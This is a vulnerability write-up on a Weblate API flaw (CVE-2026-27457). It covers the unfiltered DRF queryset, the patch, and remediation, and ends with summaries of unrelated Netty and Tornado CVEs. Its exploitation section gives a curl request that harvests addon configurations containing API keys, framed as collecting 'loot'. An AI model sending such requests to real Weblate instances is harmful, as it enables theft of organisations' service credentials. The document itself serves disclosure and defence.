Feb 26, 2026·5 min read·28 visits
A broken access control vulnerability in Weblate's API allowed low-privileged users to list all system addons. This exposed sensitive configuration data, including API keys for translation services and repository credentials. Fixed in version 5.16.1.
In the world of automated localization, Weblate is a heavyweight champion, managing translations for thousands of open-source and commercial projects. However, a lapse in access control logic within its REST API turned the platform into an open book. CVE-2026-27457 identifies a critical Missing Authorization vulnerability where the `AddonViewSet` endpoint failed to filter results based on user permissions. This oversight allowed any authenticated user—and in some configurations, anonymous users—to query the full configuration of installed addons. Because these addons often handle integrations with third-party services like DeepL, OpenAI, or git repositories, the leakage included high-value secrets: API keys, authentication tokens, and webhook URLs. It is a classic case of 'default to open' in Django REST Framework usage.
Localization tools are often overlooked by security teams. They sit quietly in the CI/CD pipeline, taking strings in English and spitting them out in French, German, or Klingon. But tools like Weblate are not just dictionaries; they are integration hubs. To automate translations, Weblate connects to everything: Git repositories, machine translation providers (DeepL, Google Translate), and AI models (OpenAI, Anthropic).
To make these connections work, Weblate uses "Addons." These are modular components that need configuration. And what does configuration require? Secrets. API keys, personal access tokens, and webhook signing secrets.
CVE-2026-27457 isn't about memory corruption or complex buffer overflows. It's about a simple question: If I ask the API for a list of all these addons, should it give them to me? The answer should be "only if you own them." The answer Weblate gave was "Sure, here's everything."
The vulnerability lies deep within the Django REST Framework (DRF) implementation in weblate/api/views.py. DRF is a powerful toolkit, but it has a massive foot-gun: if you define a queryset but don't explicitly filter it based on the request context, it defaults to returning every record in the table.
The developers defined the AddonViewSet with a fatal simplicity:
class AddonViewSet(viewsets.ModelViewSet):
queryset = Addon.objects.all()
# ... serialization logic ...That line—queryset = Addon.objects.all()—is the smoking gun. When a user hits GET /api/addons/, DRF looks at the queryset, sees all(), and serializes the entire database table of addons.
While Weblate had a perm_check method, it was primarily effective for write operations (POST, PUT, DELETE). The read operations (GET) fell through to the default behavior. It's the digital equivalent of locking the front door (write access) but leaving the back wall completely missing (read access).
The fix required two attempts to get right, highlighting how tricky permission scoping can be. The initial patch (Commit 3f58f9a4152bc0cbdd6eff5954f9c7bc4d9f0af9) moved from a static queryset to a dynamic one.
The Vulnerable Code (Simplified):
class AddonViewSet(WebletViewSet):
queryset = Addon.objects.all() # <--- The root of all evil
serializer_class = AddonSerializerThe Fix (Commit 3f58f9a4 + 7802c9b1):
class AddonViewSet(WebletViewSet):
# Default to nothing to be safe
queryset = Addon.objects.none()
def get_queryset(self):
# Dynamically filter based on user privileges
if self.request.user.is_superuser:
return Addon.objects.all()
# Restrict to projects the user actually manages
return Addon.objects.filter(
component__project__in=self.request.user.managed_projects
)Notice the shift from allowed_projects to managed_projects in the final polish. Originally, they restricted it to projects a user could access. But a translator shouldn't see the API keys just because they can translate a string. The final fix tightened this to project administrators (managed_projects) only.
They also changed the error behavior. Accessing an ID you don't own used to return 403 Forbidden (which confirms existence). Now it returns 404 Not Found, preventing enumeration attacks.
Exploiting this is trivially easy. You don't need Metasploit; you need curl. The attack assumes you have a low-privileged account on the Weblate instance. If the instance has REQUIRE_LOGIN = False, you don't even need that.
Step 1: Authenticate (Optional) Grab your API token from your user profile.
Step 2: The Harvest
curl -H "Authorization: Token <YOUR_TOKEN>" \
-H "Content-Type: application/json" \
https://weblate.target.corp/api/addons/ | jqStep 3: Parse the Loot
The response will be a JSON array containing every addon configuration. You are looking for fields like configuration.
{
"count": 5,
"results": [
{
"id": 42,
"name": "weblate.addons.machine.deepl",
"configuration": {
"api_key": "sk-decafbad-1234-5678-secret-key",
"url": "https://api-free.deepl.com"
},
"component": "marketing/website"
}
]
}Just like that, you have the organization's paid DeepL API key. If they use the OpenAI addon for context improvement, you now have their OpenAI key. You can now use their quota to generate poetry or fine-tune your own models on their dime.
The CVSS score is 4.3 (Medium). This is technically accurate based on the calculator (Confidentiality: Low), but practically absurd. The scoring assumes that the data exposed is "limited."
Let's be real: Exposed API keys are rarely "low impact."
Don't let the "Medium" label fool you. In a production environment with paid integrations, this is a Critical leak.
The remediation is straightforward: Update to Weblate 5.16.1.
The patch introduces strict filtering. If you are a translator for the "Mobile App" project, querying /api/addons/ will now return an empty list or only the addons specifically attached to that project (and only if you are a manager).
If you cannot update immediately:
You must block the specific endpoint at your reverse proxy (Nginx/Apache/HAProxy).
Nginx Example:
location ~ ^/api/addons/ {
deny all;
return 403;
}This will break functionality for managing addons via the API, but it stops the data bleeding until you can patch. Also, rotate any API keys that were stored in Weblate prior to the patch. Assume they have been read.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Weblate WeblateOrg | < 5.16.1 | 5.16.1 |
| Attribute | Detail |
|---|---|
| CWE | CWE-862 (Missing Authorization) |
| CVSS v3.1 | 4.3 (Medium) |
| Attack Vector | Network |
| Privileges Required | Low (Authenticated) |
| Impact | Information Disclosure (Sensitive API Keys) |
| Patch Commit | 3f58f9a4152bc0cbdd6eff5954f9c7bc4d9f0af9 |
A state persistence vulnerability exists in Tornado's CurlAsyncHTTPClient component where pooled pycurl.Curl handles are reused across asynchronous requests without a complete state reset. Consequently, sensitive per-request configurations, such as client TLS certificates or proxy basic authentication credentials, persist on the shared handle. This behavior leads to subsequent requests leaking these credentials to unauthorized remote servers.
CVE-2026-48748 is a denial-of-service vulnerability in Netty's HTTP/3 codec (netty-codec-http3) occurring when QPACK dynamic tables are enabled but the blocked streams limit is not explicitly configured. A bug in limit checking and a memory leak in stream tracking allow unauthenticated remote attackers to exhaust the JVM heap memory and crash the server.
CVE-2026-50009 is a cryptographic design vulnerability in the Netty network application framework. Prior to version 4.2.15.Final, the framework's QUIC protocol implementation fails to cryptographically segregate the generated Connection IDs and the associated Stateless Reset Tokens. An on-path network attacker who sniffs traffic during a Connection ID rotation can extract secret token material from cleartext headers, enabling them to inject spoofed reset packets and terminate active connections.
A critical hostname verification bypass vulnerability exists in the Netty network application framework when configured as a TLS client. When a developer registers a custom plain X509TrustManager, Netty wraps it inside an X509TrustManagerWrapper to adapt it to the X509ExtendedTrustManager API. However, this wrapper discards the SSLEngine context, bypassing critical hostname checks. Because the wrapper is identified as an X509ExtendedTrustManager, standard cryptographic engines and Netty's OpenSSL wrappers do not re-wrap it, failing to execute any hostname validation. Consequently, clients silently accept certificates for any host, enabling unauthenticated Man-in-the-Middle (MitM) attacks.
An uncontrolled resource pre-allocation flaw in the Netty Redis codec module allows remote unauthenticated attackers to cause a denial of service (OutOfMemoryError) by sending a crafted Redis Serialization Protocol (RESP) array header.
CVE-2026-50020 is a medium-severity HTTP Request Smuggling/Response Smuggling vulnerability (CWE-444) within the Netty asynchronous network application framework. The flaw resides in Netty's HTTP codec implementation, specifically the HttpObjectDecoder class, which silently consumes arbitrary ISO control bytes preceding the first request line.